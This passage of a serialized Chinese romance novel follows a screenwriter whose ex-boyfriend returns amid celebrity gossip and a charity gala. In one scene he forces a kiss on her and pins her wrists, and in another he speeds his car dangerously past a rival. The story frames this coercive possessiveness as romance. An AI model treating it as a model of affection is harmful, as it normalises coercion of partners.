屏幕顶部弹出宗昂语音听话邀请的通知栏。 寂静的房间里播放着吹风机和通话铃声的交响乐。 温纾莱头皮猛地一烫,她后知后觉挪开半晌没动地方的吹风机,揉两下被热风吹疼的那块头皮。 关掉吹风机,独留下来的通话铃声难以忽略。 温纾莱最终还是接听。 她慢腾腾地把手机移到耳边,听到一声只剩尾音的“喂”。 温纾莱曾听过一个说法:气味是触发记忆的开关。 她觉得声音也是。 在听到宗昂仅发出一个字的嗓音时,那些过往走马灯一样闪现在她脑海,快到她来不及反应,就已经回忆完毕。 温纾莱按在床单上的手不自觉蜷起,语气很稳:“有事吗?” 恋爱那一年,也都是宗昂给她打语音、打视频,温纾莱的开场白千篇一律:什么事?有事吗? 宗昂便会委屈地说:想你了,没事就不能找你吗? 可现在,他们是分手已久的前任,再也没资格讲那些调情的话语。 宗昂说:“没有监视,是孔佳良告诉我的。” 张佑成机缘巧合下打进了孔佳良的那个圈子,前不久他在群里放言说要追一个女生。 也是命运使然,那个几百多号人的吃喝玩乐群,孔佳良从不爬楼翻记录,张佑成前脚发女生照片到群里,后脚孔佳良就点开群聊。 人一看,立刻“我操”致电大洋彼岸的宗昂。 宗昂那边很静,一丝杂音都没有,他清朗的嗓音愈发清晰:“他在群里说的话不太好听,还有固定炮/友,不是真心喜欢你,你别沾那种人。” “跟你有什么关系。”温纾莱攥紧手机,棱角分明的边框硌的她指骨泛疼,“你以什么身份来管我?” 前男友? 那他可太多管闲事。 温纾莱挂了电话。 宗昂也没再打来。 两年不见,杳无音讯,突然复活找她居然是对她的下一段感情指手画脚。 宗昂粉饰太平的功力还是不减当年。 吹风机也没送回浴室,温纾莱躺床上关掉屋里的所有灯,蒙上被子缩起来睡觉- 两年的时间说长不长,说短不短,但却足以改变很多人很多事。 马燕珍的“有吃有喝”面馆生意越来越红火,在上海开设第一家分店。 温广宏坐镇总店,马燕珍由温纾莱陪着飞去上海指导分店的工作,她笑说她竟也成了个女强人,有朝一日还出起差来了。 温屿年参演的《黑白》送审戛纳,获主竞赛单元奖,他饰演的“阿默”一角也斩获国内金鸡奖最佳男配角,名气打响邀约不断,身价飙升,时尚资源络绎不绝。 孔佳良回GN帮忙,孔佳茉天南海北的旅游,期间一个戏瘾大发,自掏腰包组建团队拍了个短剧,在短视频平台投放,大小姐玩票的一个作品还赢回来一个最佳创作达人奖。 孙星彤何皎皎同温纾莱一样,奋战在编剧行业,不过发展方向不同。 孙星彤去了湘城主攻综艺,实习期被当牛做马的使唤,策划出一档爆款综艺后扬眉吐气;何皎皎面试进总台做起了纪录片,干劲十足。 温纾莱起先还接些影视剧的剧本创作,进宗穆川的工作室后在宗穆川的带领下,重心都偏向电影方面。 每个人都在自己预设的道路上奔驰,朝着终点目标前进。 还有一个陈年旧人——余泽帆。 和他分手后,温纾莱就不再听到他的消息了,是某一天,同事在休息时间刷视频,刷到近期很火的直播间男团跳舞,跟她吐槽现在直播花样真是越来越迷惑。 温纾莱探头瞥一眼,镜头恰好运到男团之一,卡了个特写给他。 那个比划着不大规范的观音手势,跟随音律摆动身体的人,正是余泽帆。 相貌较上学时有些出入,似是垫了鼻子。 当年宗昂让平台封禁了他的账号,想不到他还能以这样的方式重出互联网。 恩怨是非都成过眼云烟,余泽帆已是路人甲乙丙,勾不起温纾莱分毫谈论的欲望。 看过就忘。 电影学院每年进入娱乐圈的人数不胜数,从幕后到台前,一棒子打下去,十个人里一半都出自电影学院,另一半是戏剧学院。 分母数量庞大,崭露头角的分子就少之又少。 这两年势头最猛,热度最高,是被列为新生代四小花旦之一的莫念琪。 有美貌,演技不俗,对粉丝还大方,见面会给粉丝们准备的礼物都是全套香奶奶。 她不走流量路线,立的是实力派人设。 毕竟流量小花扯上感情话题,无异于自毁前程。 她家里也有点背景,也蛮爱惜自己的羽毛,大学四年就专心读书,毕业后拍的第一部电视剧,视后给她做配,她荣获次年的最佳新人奖。 采访环节娱记问她的理想型标准,她自曝有一位心仪多年且正在追的男生。 娱记都懵了一下,忙挖下去:“方便透露下是圈内人吗?” 莫念琪笑:“一半一半,算也不算。” 模棱两可的回答直让娱记和广大粉丝抓耳挠腮,在她的社交平台各种深扒。 皇天不负有心人,她一位铁粉的坚持不懈,在她ins一年前发的一组旅游照片里的某一张的角落,找到了一只手。 骨感有力,腕间戴着一块男士机械表。 是男生的手没跑。 可也就这些,再多的就没了。 粉丝们直呼吃醋,嫉妒那个被莫念琪保护完好的男人。 …… …… 又是一年盛夏来临,北京连续三天的暴雨过后,阴沉的天空终于放晴。 首都机场出口外人满为患,前来接机的粉丝有秩序地排成两列不阻碍其他行人进出,印着莫念琪照片的灯牌被精心抱在怀里。 十点半一过,粉丝们翘首以盼。 莫念琪工作室发出来的行程显示她从巴黎回来的航班十点半落地。 当出口通道里走出那抹纤瘦高挑的身影,粉丝们的欢呼都冲到嘴边,再看到莫念琪身旁的另一道身影后转成疑虑和惊呼。 微博热搜实时更新迭换——#莫念琪携“神秘男友”回国#的词条冲到排行榜第一。 那个刷到余泽帆的同事时刻游走在吃瓜第一线,莫念琪的八卦爆出,她一个事业型妈粉长吁短叹:“我女鹅事业上升期自爆恋情真是勇,不过这男的看起来还蛮帅的?” 她把手机递给温纾莱:“莱莱你看是不是还可以?虽然脸捂得比较严实但看气质还挺像那么回事的?美女配河童的例子我真不想再看了,尤其不想看到我粉的女鹅下嫁!” 爆出的照片基本都是连续抓拍,生怕人一个跑不见,全网十几张照片里两位主角的姿势都相差无几。 莫念琪一身性感打扮,红色细吊带连衣裙,露着里面黑色内衣的宽肩带。 照片上的男主角,简约的黑T恤牛仔裤,背头,鼻梁架着一副黑超。 温纾莱一眼认出他是谁。 第66章 第 66 章 单身,独帅 网上爆出来的照片里, 宗昂和莫念琪中间隔着得有半个人的距离,有两三张是莫念琪歪头看向宗昂,嘴巴有张有闭, 在说话的样子, 其余几张两人全程无交流无接触。 纵使这样, 有莫念琪面对镜头表白心迹在前,这些照片也足够让粉丝们嗑生嗑死。 在还不清楚宗昂姓名的情况下, cp超话就已经建立好。 默认宗昂是莫念琪的男朋友。 同事的职位是剪辑员, 从坐到工位上开始就盯着三面环绕的电脑裁剪拼接视频,忙得眼花缭乱,这会儿摸鱼冲浪, 就莫念琪的那条绯闻八卦了半天, 每刷到一条新帖都要嘀嘀咕咕一下。 温纾莱坐她旁边, 手机一眼没看, 莫念琪的恋情瓜是一个没落全吃了。 她事不关己的听着, 手上的活没停下。 谈还是没谈, 都与她无关。 宗昂这个人都与她无关。 同事切换姿势,仰靠在座椅上,手肘搭在座椅扶手上举起手机,缓解酸痛的颈椎。 两道脚步声从楼梯口传来, 不多时, 出差快一周的宗穆川回来, 身后是他的助理何谦。 老板人都走到近前, 同事还纹丝不动, 抽空从瓜田里瞥一眼宗穆川。 “嗨宗老师,您回来啦。” 宗穆川颔首示意,并未对她玩手机的行为有何意见。 在宗穆川手底下工作幸福指数非常高, 他不摆官威也不端架子,员工准则里就有一条——在规定时间圆满完成任务,其他都随意。 国际知名导演的身份就是工作室的活招牌,跟在他身边既能开阔眼界又能丰富经验,薪资待遇又是业内罕见,每年都有不少人争先恐后地来应聘。 也正是因为有太多人才可用,稍有不慎就会有被替换的风险,所以工作室里的每一位成员玩归玩,松懈归松懈,但他们也时刻警惕着,该他们做的事一件也不会马虎。 之前就有一个编导负责盯一个短篇的拍摄,前一晚约朋友喝酒,第二天睡过导致片场所有人都在等他,宗穆川当天就辞退了他。 问完好,同事又自在地看回手机。 宗穆川经过温纾莱的位子,敲敲她的桌板:“跟我过来。” “好。” 温纾莱先记录完她的灵感碎片,保存文档退回到桌面,滑开椅子跟上宗穆川。 一行三人朝走廊最里面宗穆川的那间办公室走,外间是助理的办公桌,何谦顺势坐回他的工位,温纾莱继续随宗穆川进屋。 办公室的门敞着,没关。 宗穆川绕道书桌后,拉开抽屉拿出一封邀请函,主办方一个月前就送来。 他递给温纾莱:“赫美的慈善晚宴,你代我去看看。” 赫美是国内知名的一家杂志社,一年举办一次的慈善晚宴是娱乐圈的顶级活动,邀请众多明星与企业家共同参与,为公益活动筹集善款。 宗穆川这些年夜以继日地扑在工作上,身体落下一堆大大小小的毛病,现下刚出外出采风结束,连熬三天血压直线升高,再不回家补觉怕是会猝死。 再者,近些年越来越多的资本入局干预,赫美慈善晚宴也越来越偏离举办初衷,他懒得去应付这种人情世故,机会还是多留给小辈去历练为好。 温纾莱年轻精力旺,这活让她去干再合适不过。 此前两年,不止赫美慈善晚宴,另外一些重量级活动宗穆川都有带温纾莱出席,俨然把她当成接班人来培养。 在一定程度上,她是除何谦在,第二个能代表宗穆川的人。 这样的认可好坏参半。 就算不在娱乐圈这个大染缸,在任何一个别处,一男一女捆绑出现都易滋生桃色现象。 不乏有媒体添油加醋地渲染猜测温纾莱和宗穆川之间的关系,“被包养”、“师生恋”、“忘年交”,众说纷纭。 宗穆川正式澄清过一次,大众自顾自地将其归为镜头前的片面之词。 这种事儿谁会公开承认? 温纾莱见宗穆川眼底浮出黑青色,边接邀请函边问:“您又熬夜了?” “嗯。”宗穆川捏捏眉心,“这次去的地方风景不错,可以作为‘花样人生’的取景地之一,照片一会儿何谦会发群里,你们都看看。” 《花样人生》是宗穆川下一部电影,暂定两个月之后开机。 宗穆川是天赋型导演,天生就该吃这碗饭,他鲜少有创作瓶颈期,灵感一茬接一茬地冒,电影一部接一部地拍,奖项一个接一个地拿。 温纾莱点点头:“好。” 虽然和他儿子谈过恋爱又分手,但温纾莱在认识宗昂前就视宗穆川为偶像,这两年跟在他身边学习,两人也算个师徒关系。 她关心两句让宗穆川多加休息。 “那没什么事的话我就先出去了。” 宗穆川眼皮都没抬一下,只挥了挥手。 温纾莱拿着邀请函往外走,快到门口,宗慕川又叫停她。 宗穆川:“等会儿。” 温纾莱驻足,转身。 宗穆川不拐弯抹角,开门见山地说:“宗昂回来了,你知道吗?” 温纾莱也不藏掖,实话实说:“刚在热搜上知道了。” 宗穆川挑挑眉,不太领会:“什么热搜。” 温纾莱指明:“他和莫念琪的热搜。” 宗穆川不再多问热搜事宜,他的目的不在于此。 “他回来你们难免会见面,但我希望你能个人和工作,当初既选择签进来就别受他的影响。” “我知道,我不会。”温纾莱心里都有数。 宗穆川再挥手:“行了,去忙你的吧。” 等人带上办公室的门走远,宗穆川拧起眉点开热搜榜。 #莫念琪携“神秘男友”回国#的词条热度居高不下,后面已有“爆”字。 刚回国就整幺蛾子。 半点不让人省心。 他找到宗昂微信。 「晚上回家吃饭,别在外面瞎跑。」- 温纾莱下班后先回的住处换衣服化妆。 温屿年租的那套公寓已经被他买下给舅舅舅妈住,当年租的时候没想到几年后他们全家都会扎根在北京,面积较小,就两居室。 总同父母住一起不自由,兄妹俩都需要私人空间,于是一年前兄妹二人又都分别在外面找了公寓独住,温屿年行踪不定,温纾莱则是固定一周回一次家吃饭。 温纾莱不是明星,媒体镜头不会聚焦于她,不必执着于奢华的高定,服装得体符合场合就好。 面馆生意兴隆,马燕珍一早便动了盘下店面的念头,租到底不如买下来踏实,全家都同意后,马燕珍将家底都掏出来,温屿年补上剩余,交给温纾莱去处理。 温纾莱就用这笔钱去还了孔佳茉,欠的外债就此一笔勾销。 工作不比读书那样打扮随意,她攒了一定存款,衣柜里买了好几件镇场子的礼服,和工作室要好的品牌方也会看在宗穆川的面子上给她送衣服及各种日用品。 画了个淡妆,温纾莱出发去慈善晚宴现场。 晚宴举办地点定于近郊的一处庄园,是赫美主编托人情找朋友借用。 在门口温纾莱遇到韩子彦,两人顺道一块儿进场。 主办方邀请的是宗穆川,给他安排的座位自是不会差,在正对舞台最中间的那张桌,温纾莱找到宗穆川的铭牌,坐下。 韩子彦也在同桌,隔壁桌的莫念琪刚巧坐在温纾莱后方。 她和另一个圈内人的交谈一字不差传向温纾莱。 “是不是那个啊?肯定是吧,热搜都快挂一天了你也不管,以前可是一秒澄清的。”圈内人打趣:“原来你喜欢这一款啊,虽然没看到正脸吧,但感觉蛮帅,和你挺般配。” 莫念琪高调收下这份夸赞。 “我看上的人当然不会差。” 圈内人恭喜了一句。 温纾莱目光放在台上,不为所动地听着。 晚宴进行到一半,旁边的韩子彦靠近温纾莱,悄声问:“宗昂回国了?” “你怎么知道?”温纾莱诧异他的忽然提问。 照韩子彦和宗昂的熟悉程度,凭借热搜上那几张遮掩严实的照片就认出宗昂的可能性趋近于零。 韩子彦说:“孔佳良发微博了。” 温纾莱“哦”一声,并不在意孔佳良发的宗昂什么内容。 韩子彦瞅温纾莱不感兴趣,适当闭嘴。 娱乐圈这个名利场,今日姐妹情深兄友弟恭,明天就能为争夺资源斗得你死我活。 友好仅限于表面。 隔壁桌的那个圈内人前一刻还在恭贺莫念琪,这一会儿看到热搜,又看好戏般暗讽起来。 “念琪原来你还没追到人呢啊,那男人到底谁啊,又认识GN的少东家,又能让你这么个大美女倒追那么久。” 莫念琪措不及防:“什么?” 圈内人“好心”相告:“孔佳良发了微博,照片里有个男人穿的衣服和跟你上热搜的那个穿的一样,孔佳良说是他哥们儿,还帮他澄清是单身呢。” 晚宴开始前圈内人和莫念琪聊天,韩子彦不知道同莫念琪传绯闻的那个男人是谁就没留意,看完孔佳良微博,了解到绯闻男主是宗昂,现在再听她们的谈话,他不着痕迹地用余光观察温纾莱。 还是那副淡然从容的神情。 仿若宗昂就是个不相干的陌生人。 温纾莱这两年蜕变得愈发出挑,学生气的稚嫩褪去,气质还是很柔和,但是眉眼间多出一份锋芒。 此刻她一袭简洁大气的香槟色长裙,坐在各类名流中间,半点不露怯,游刃有余地像在自家待客一般。 一个环节告一段落,温纾莱借由上洗手间,拿着手包离场。 到隔间里,温纾莱没忍住,打开微博。 莫念琪的名字还挂在热搜,但相关词条里已经没有她那个神秘男友的信息。 温纾莱点开莫念琪的词条,界面跳转,第一天热帖是孔佳良半小时前的一条微博。 作为一名合格的娱乐公司继承人,孔佳良玩网有一套,粉丝量七千多万,比大部分一线明星的粉丝量都多。 他发的九宫格照片,都是他吃喝玩乐的日常,第一张照片是张多人合照,背景灯红酒绿,纸醉金迷,一看就是在酒吧。 离孔佳良较近的几人都配合地看镜头,而在照片边缘,一个男人垂颈在刷手机,脸庞从下至上被蓝光照亮。 仅一个侧脸就瞬间抓人眼球。 这条微博底下的热评第一是一位眼尖的网友,在问:最边上那个黑T帅哥是莫念琪传说中的男朋友吗?衣服都一模一样,巧合也没有这么巧的,对吧对吧? 上万条评论,孔佳良独独回复这一条:不是哈,我哥们儿单身,独帅。 第67章 第 67 章 兴师问罪 “送你?” 慈善晚宴结束后, 韩子彦提出要送温纾莱回家。 温纾莱大学毕业那年,温屿年后送了她一辆车当作毕业礼物。今晚她不方便开车,打的专车过来。 韩子彦的住处和温纾莱的公寓同方向, 顺路。 因着白诗文, 温纾莱同韩子彦交集变多, 也有了朋友的情谊。这么晚,庄园又这么偏, 不好叫车, 温纾莱没拒绝韩子彦的好意,随他一起往外走。 才出门口,韩子彦遇到熟人, 不得已停下寒暄, 温纾莱退到一边等。 她晚饭还没来得及吃, 只在进场后塞了两块马卡龙垫肚子。 晚宴开场后, 一会儿这个明星上台一会儿那个企业家讲话, 她坐在最中间那桌, 闷头吃饭太显眼,而且晚宴的本质就是各方争奇斗艳,没有一个人是有吃饭的心思,桌上的菜肴大多是无食欲的冷碟。 边等韩子彦边琢磨回家后吃什么。 是在小区门口的711买个饭团或三明治凑合一下, 还是顺应心意点个炸鸡外卖享受一下。 掩在长裙裙摆底下的双腿换着单脚站立, 脚腕转着圈活动。 高跟鞋是美丽的酷刑, 要不是不合规矩, 她真想穿着平底鞋过来。 她的鞋跟还不算高, 她顶天就能适应六七公分的跟高,那些要上镜的女星们个个都踩着十几公分的细高跟,跟在刀尖上行走没差。 温纾莱不动声色地倚向罗马借力, 还在便利店和外卖二者间徘徊不定。 一道“哒哒”声响从后逼近,温纾莱下意识半侧脸。 莫念琪提着礼服裙摆,踩着高跟鞋步履生风,披散的波浪卷发在脸颊两侧翻飞。 一个公众人物最基础的素养就是不在公众场合挂脸,最好永远都面带微笑,一旦臭脸被拍到放到网上就会被网友解读出无数种版本。 莫念琪自出道以来就时刻保持着身为一名公众人物的高度自觉,脸不崩身不胖,镜头捕捉到的她无一丑照。 这会儿她嘴角上扬出恰到好处的弧度,可频率急促的脚步出卖她内心的急躁。 助理在她身后小碎步地跑着。 她经过温纾莱时,周遭空气弥漫开浓郁的香水味道。 温纾莱的淡香霎时就被覆盖。 莫念琪走出两步,又转回至温纾莱面前。她单刀直入:“宗昂回来了。” 这一天里,已经是第三个人跟温纾莱说过这一句话。 她礼貌性站直:“我知道。” 莫念琪探究的眼神在她脸上搜寻:“他联系过你吗?” “你们在一起了吗?”温纾莱不答反问。 “是我先问的你,你先回答我。”莫念琪也是家里千娇百宠呵护长大,面对她看不上的人时夹带着些许居高临下的骄横。 “你们如果没在一起,这种隐私性问题你无权过问,你们如果在一起了,你男朋友联系前女友那你该去拷问的人是他,而不是我。” 温纾莱的身高是短板,鞋跟也不如莫念琪的高,她得稍稍抬头仰视,气势却不落于下风。 这两年来很多人都说过她变化巨大,不再一味讨好顺从,更会多考虑自己,说话做事一改往日的优柔寡断,雷厉风行暂时沾不上边,但干脆利落不少。 这不,要换以前,莫念琪这样质问她,她多半会乖乖说没有然后再撇清干系。 现在,对于这样明知故犯的冒昧,她当场就会回击。 莫念琪不死心追问:“你是不是还喜欢他?” 温纾莱浅柔一笑:“这就更私密了,无可奉告。” 被连堵两次,莫念琪怒火上头,没顾上表情管理,脸冷下去:“就算他借孔佳良澄清和我的恋情,你也别觉得他这次回来就是来找你,你们分手快三年,谁的喜欢能坚持失联三年的空白期?” 她像个幼稚小孩似的挑拨离间放狠话:“这三年里我经常飞过去找他,我们一起去了很多地方旅游,这些你都不曾参与。” “好。”温纾莱的饿意愈发强烈,隐隐有反胃的不适感,没心情再听莫念琪细数她和宗昂的故事,敷衍说:“那祝你们百年好合,早生贵子。” 歪头越过莫念琪肩膀朝韩子彦那儿看,他正巧聊完,也在看她,温纾莱一手拿着包,一手捏起一角裙摆绕过莫念琪。 走近后,韩子彦问她:“怎么了?” 温纾莱摇头:“没什么,走吧。” 她已经决定好要订外卖,急着回去吃炸鸡。 韩子彦来的路上堵车,耽搁了时间,庄园内部停车位有限,他的车停在了园外划分出来的停车区域,要步行一段路。 地基打得高,门口台阶得有十几层,温纾莱又是长裙又是高跟鞋,要多累赘有多累赘,韩子彦抬起手臂借给她扶着。 温纾莱搭上:“谢谢。” 韩子彦:“客气。” 两人就这么并肩相携,步伐大小相差无几,晚风一吹,温纾莱的裙角会拂过韩子彦的西装裤。 任谁一看这对背影都会夸赞一句郎才女貌。 为了美观与氛围,庄园院子里安装的路灯是昏黄色的暗调,夜幕下照亮小小一隅,温纾莱和韩子彦投射在地面上的两道影子被一盏盏路灯反复拉长、重合。 蓦然,两束亮白的灯光字后方打来,影子驱散,暗影无处遁形。 引擎的轰鸣声由低升高,一辆车子极速驶近,倒车镜紧擦着韩子彦的衣袖划过。 车不作停顿地往前开,似乎并没意识到自己差点撞到人,又或是故意为之。 韩子彦惊出一身冷汗,先问温纾莱:“有没有事?” 温纾莱说没。 “你没被碰到吧?” “没有。”韩子彦望向那辆肆无忌惮的跑车,红色车尾灯嚣张隐没于拐角。 他记下车牌号,要发给助理调查,排除一下隐患。 温纾莱也瞧过去。 她没认错的话,那是一辆488黑武士。 温纾莱对车的牌子、类型不感冒,更分不清同一品牌下的几种款型,但架不住这一辆488黑武士她坐过很多次。 甚至还有些不可言说的记忆点。 她拦住韩子彦:“不用查了子彦哥,我应该知道那是谁的车。” …… …… 温纾莱在路上订了外卖,是同为打工人的何皎皎推荐过的一家店,据说是全北京最好吃的炸鸡。 店铺离她公寓有些远,配送要一个小时,温纾莱到家后,平台显示还有四十分钟送达订单。 她先卸了妆去浴室洗澡,换上宽松的家居服,打开客厅的投影,在收藏清单里找出一部最想看的电影,抱枕丢到地毯上,去厨房冰箱里拿出一瓶基酒和一瓶果汁,杯子里放好冰块,基酒和果汁按一比三的比例倒入杯中。 温纾莱头发长度过胸,又多,每次洗完澡吹头发就是个大工程,她一般吹到手臂发酸就停止。 长发拧起用抓夹抓住,半湿的发尾垂坠等待自然风干。 万事俱备,只差外卖。 正要点开软件看看还要多久,门铃摁响。 温纾莱租住的这个小区是在温屿年授意下玥玥精挑细选出性价比最高的,安保措施蛮严,每栋楼都有物业值守,外来者进出都要登记。 温纾莱常在晚上点外卖,从无意外,所以径直开门。 门外提着外卖的人没有穿黄色或者蓝色的工作服,白T黑裤,黑发柔顺干爽的耷在额前,发梢自然卷曲。 今天两度登上热搜的衣服换了一身全新,但人还是一样的人。 “深夜,独居,按门铃就给开。”宗昂压着眉,眉心微蹙,神色不爽,颇有种兴师问罪的架势:“你安全意识这么差?” 第68章 第 68 章 “你有男朋友也不会妨碍…… 看到宗昂, 温纾莱在意料之中,但也有惊讶。 上午就知道他已经回国,她的好友是他兄弟的妹妹, 她又在他爸的工作室工作, 两人的生活圈子有所重叠, 碰面是迟早的事儿。 惊讶的是,他为什么会出现在她公寓门口。 这么想她也就这么问了。 “你怎么在这?”温纾莱神情疏淡, 眉心拧起的褶皱比宗昂深, “又调查我?” 他这毛病到底什么时候能改? 温纾莱厌烦至极。 宗昂说:“没查,我找孔佳茉问的。” 虽然问的手段不太光彩就是了。 他一开始问的人是他爸。他两年多来第一次回国,理应去家里露个面, 见到他爸后他问温纾莱的住址, 他爸不告诉他。 理由扯得特高大上伟光正, 说他要是出于公事要联系温纾莱就等明天上班时间去工作室谈, 自己身为老板要保护每一位员工的隐私, 不能破例, 儿子也不行。 要是出于私事,那他就自行去打听。 一套滴水不漏的推脱堵得他找不出半点错。 又去问宗霖,宗霖说这问题超纲了。 他是答应宗昂会照顾温纾莱,但仅限于温纾莱在他面前遇到刁钻事他才会出手相助, 其余一概不管, 省得帮太多一个拿捏不好分寸踩到宗昂心底的红线, 宗昂再认为他居心叵测。 他费尽千辛万苦才把鼻子修复满意, 可不能再被打断。 是这么个道理, 就是可惜宗昂叫的那一声哥。 金贵无比的一个称呼,有用信息一个没套出来。 在家里吃完晚饭,爷爷年纪大了睡得早, 他就去了孔佳良为欢迎他回归特意组的局。 他是奔着孔佳茉去的。 宗昂不清楚温纾莱是怎么跟她家人、朋友讲述他们分手的原因,但据他对温纾莱的了解,她大概率不会如实相告。 她经历的那些胆战心惊会引起诸多关怀。 而她最不会应对这些,更不愿身边人替她后怕担忧。 不出所料,温纾莱的确编造了个谎言。 宗昂在孔佳茉的辱骂中得知他们是熬不过异国恋,在争吵中一次又一次冲淡感情导致分手。 温纾莱讲的时候没有偏颇,可孔佳茉是温纾莱的铁姐们儿,她理所当然地将错误都归结给宗昂。 冠给他数条莫须有的罪名,比如陪伴不及时,再比如移情别恋。 宗昂不予置辩,欣然接下孔佳茉灌来的一杯杯酒,再反向灌倒她,趁她醉酒套出温纾莱的住处。 他大可以自己查清,动动手就能搞定的事儿。 这么大费周章无非是怕温纾莱误会他又私自调查她,生气。 但她还是先入为主了。 宗昂强调:“真的,不骗你。” 室内的冷气往外散,楼道的热流往里涌,在门口汇聚又分散。 温纾莱闻到宗昂身上那股薄荷香压制不住的酒气,看着他,没说话。 宗昂视线挑过她的头顶,朝玄关里瞟一眼,又瞧回温纾莱。 “你和韩子彦在一起了吗?” 温纾莱的手搭握着门把,半边肩膀隐在门板后,“你刚刚是不是去了赫美的晚宴?” 她睡裙外罩着一件白衬衫,站这么一会儿,未干的发尾滴下水珠洇湿薄薄的衬衣,细窄的肩带若隐若现。 宗昂的眼眸聚焦在她脸上,坦然承认:“去了。” 还敲了韩子彦一记警钟。 他这敢作敢当又不知悔改的模样让温纾莱气极反笑。 “宗昂,你幼不幼稚。” 宗昂很执着:“所以你们两个是在一起了吗?” 温纾莱语气淡漠:“跟你有关系吗?” 两人互看着,瞳仁中倒影着对方单一的身影。 两年多,八百多个日夜,他们零联络,对彼此的状况一无所知,今晚再相见,最直观的变化就是外貌。 宗昂的头发剪短,鬓角削得很薄,本就立体的五官经由时间打磨得更加深邃。 温纾莱还是长直发,但蓄起了刘海,脸颊的肉感瘦下去,下巴尖,更显那一双明亮的眼睛。 脾气也更大了。 宗昂想。 空乏的肚子亟待她去填满,温纾莱不再同宗昂乏味的扯皮,伸手:“外卖给我。” 宗昂倒也听话,没整幺蛾子,将提着的外卖递向她,手提袋即将勾上温纾莱弯曲的手指时,宗昂瞬间换成他自己的手,包住温纾莱微凉的指尖,进而是整个手掌。 明目张胆地从门外踏入,外卖放在温纾莱公寓玄关处的斗柜上,紧接着揽上她的腰,压着她背靠向墙壁,脚踢上门。 “嘭”地一声。 吻随之落下。 好久没有过,双唇触碰后宗昂这个进攻的一方有一秒钟的停顿。 他凭借本能启唇含住温纾莱柔软的唇瓣,记忆触发,遗失的技巧顷刻间回笼。 宗昂逐渐找到感觉。 吸、咬、舔。 一套丝滑连招耍的那叫一个熟练。 温纾莱醒过神,掌根抵着他肩膀又推又搡。 推拒的两只手下一秒就被宗昂一只手掐着攥紧手腕别到背后,她被迫挺胸贴向他胸膛。 她睡裙内侧自带胸/垫,洗完澡就没穿内衣,柔软感十足明显,几乎是一瞬间,宗昂就起了反应。 另外一只手自她腰间上移,捧起她的脸,虎口卡在她耳垂之下,拇指缓缓摩挲着她细嫩的腮颊。 吻越发深入,感知到他的灼烫,温纾莱重重一咬他的下唇,血腥四溢,宗昂“嘶”了声。 转动着上半身带动手抽出来,狭窄的玄关响起一声脆响。 宗昂又被打了。 睽违许久,他终于又一次体验到被温纾莱扇耳光的感觉。 外罩衬衫只系了下半部分的扣子,领口松散歪斜着露出一侧肩膀,她拢好衬衣,推开宗昂,自己也后退一步。 “喝多了耍酒疯你去找别人了,别来烦我。” “我没有别人。”宗昂揩了下嘴唇,不甚在意地轻捻指腹擦掉血迹。 “莫念琪不是我女朋友,孔佳良的微博是发给你看的。” “什么微博,我没看。”温纾莱装糊涂:“你也没必要做这些,我们早就分手了。” “我没同意过。” 话落,宗昂见温纾莱黑了脸,神色不虞,明白她这是不高兴的表现,于是聪明地改口:“那我再追你一次。” 他将话题又绕回去:“你和韩子彦在一起了吗?”不必温纾莱回答,他又说:“算了,没关系,你有男朋友也不会妨碍我们和好。” 温纾莱有男朋友又怎样,在和别人交往又怎样。他认定的人和事从不会因外力而更改。 就像最初,温纾莱在和余泽帆恋爱,他不还是把人抢到自己身边? 他不在的时候,温纾莱找别人排遣寂寞无可厚非,她开心就好。 现在他回来了,那么别人就得退位让贤,就得知道,只有他才配站在温纾莱身侧。 温纾莱也想到了最初,她还想到了宗昂关于“刺激”的那一番发言。 所以轮回最原始,他又来找她寻求刺激了是吗。 他怎么就是玩不够她呢? 她有什么很有趣的特点吗? 温纾莱很是费解。 她没避着宗昂,从疑惑到迷茫再到想通什么之后的灰心丧气,这一系列心理活动都写在脸上。 宗昂看得分明。 他莫名有些慌,觉得不对劲,又说不出是哪里出了差错。逼近温纾莱:“你怎么了?” 温纾莱轻轻拨开他伸过来要牵她的手:“很晚了,我累了要睡觉,你走吧。” 宗昂也没抱希望能在重逢第一面就重修旧好,这种事急不来。 那个词怎么说的来着,事缓则圆。 他妈和他爸就总是说他急于求成,要他稳重一点。 过往事迹也告诉他不能把温纾莱逼太紧。 基于种种因素,宗昂没再不要脸地逗留:“你锁好门,我微信和手机号都没换,你要找我随时都能找到。” 温纾莱不走心地嗯声。 宗昂走后,玄关空间充裕起来,可他的气息还有所残留。 温纾莱打开空调的换风模式,将宗昂的味道都驱逐干净。 提着斗柜上的外卖坐回客厅,拆开,咬了一口就放下,拉开茶几的抽屉,在深处角落拿出一盒烟。 她没有烟瘾,只是这会儿忽然想抽一根。 …… …… 温纾莱楼底下停着那辆黑武士488,宗昂下楼后拉开副驾驶的车门坐进去。 向屿正跟不知第几任女友打着调情电话等他,手里夹着一根烟。 宗昂一上车就命令他灭烟:“别在我车上抽,要不就滚下去。” 他只能接受一个人在他车里、家里抽烟,那就是温纾莱,其他人免谈。 向屿挂断电话,哂笑一声:“就你矫情。” 他掐灭烟头,降下两侧车窗给少爷通风换气。 一众朋友里就宗昂事多,烟不抽酒少喝,恋爱只谈过一段。 两厢衬托之下,宗昂像是个洁身自好的三好青年,他们则是不思进取的纨绔子弟。 一辆车拐入他们这辆车停放的这条路,两束车灯一晃而过,向屿系安全带的时候不经意侧头,瞅见宗昂浮着鲜红巴掌印的脸。 “被扇了?”他不掩饰看好戏的幸灾乐祸,凑近,又有新发现,挑着眉明知故问:“嘴怎么还破了?” 宗昂心情蛮好地笑:“用你管?” 向屿问:“那你还下来?” 还不留宿? “不合适。” 嘴唇又在渗血,宗昂伸舌舔了舔,触感犹在。 向屿嗤声:“装吧你就。” 局上全程都在套孔佳茉的话,得到地址就甩手走人,本来是要直接来人公寓楼下,半路得信温纾莱替他爸去参加晚宴,又马不停蹄改道,看见人姑娘和一男人走得近就跟疯狗一样飙了段车。 现在顶着张破脸搁这儿装正人君子? 真搞笑。 第69章 第 69 章 已读不回 温纾莱从小到大从未失眠过, “睡觉”就是她刻在骨子里的一种放松和自我防护措施。 无论发生什么事,有多糟心,她都能倒下就睡。 只是会分睡眠情况的好坏。 昨晚见到宗昂后的这一觉, 她睡得很差, 一整晚都在做梦, 像是志怪奇谈,梦里她被一只迷雾一般不成型的怪物追赶, 闯过一个又一个光怪陆离的副本世界。 醒来起床, 头顶的一动不动的天花板落在她眼中甚至都在旋转。 两手的掌根搓搓眼睛,她掀开被子下床,到浴室掬起一抔冷水冲脸。 鼻子有点堵, 发痒地打出一个喷嚏。这一起头就跟打开什么开关一样, 又接连打出七八个喷嚏才消停。 客厅茶几上还摆着吃剩的炸鸡, 她就吃了两块, 包装盒里还满满当当, 一旁的酒瓶倒是空空如也。 